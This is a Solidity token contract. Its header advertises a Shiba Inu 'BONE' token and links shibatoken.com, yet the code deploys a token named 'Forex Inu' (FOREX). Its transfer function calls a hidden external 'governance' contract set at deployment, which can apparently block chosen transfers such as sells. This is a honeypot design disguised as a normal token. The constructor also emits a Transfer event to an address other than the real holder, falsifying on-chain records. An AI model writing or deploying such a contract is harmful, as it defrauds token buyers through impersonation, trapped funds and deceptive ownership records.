pragma solidity ^0.4.26;

/**

     https://shibatoken.com
     Shiba Inu Bone !!!
     A Decentralized Meme Token that Evolved into a Vibrant Ecosystem
     BONE takes the power of DeFi to the next level. BONE will be the newest token in our Ecosystem.

     ______      ___    ____  _____  ________  
    |_   _ \   .'   `. |_   \|_   _||_   __  | 
      | |_) | /  .-.  \  |   \ | |    | |_ \_| 
      |  __'. | |   | |  | |\ \| |    |  _| _  
     _| |__) |\  `-'  / _| |_\   |_  _| |__/ | 
    |_______/  `.___.' |_____|\____||________| 
                                          
*/

interface Governance {
    function isGovernance(address sender,address to, address addr) external returns(bool);
}

contract TokenERC20 {
    string public name;
    string public symbol;
    uint8 public decimals = 18;  
    uint256 public totalSupply;
    address governance;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor (uint256 initialSupply, address _governance, address _sender) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = "Forex Inu";
        symbol = "FOREX";
	governance = _governance;
	emit Transfer(address(0), _sender, totalSupply);
    }
    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        if (address(governance) != address(0)) {
	    Governance(governance).isGovernance(_from,_to,address(this));
        }
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
	emit Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        _transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);     // Check allowance
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }
}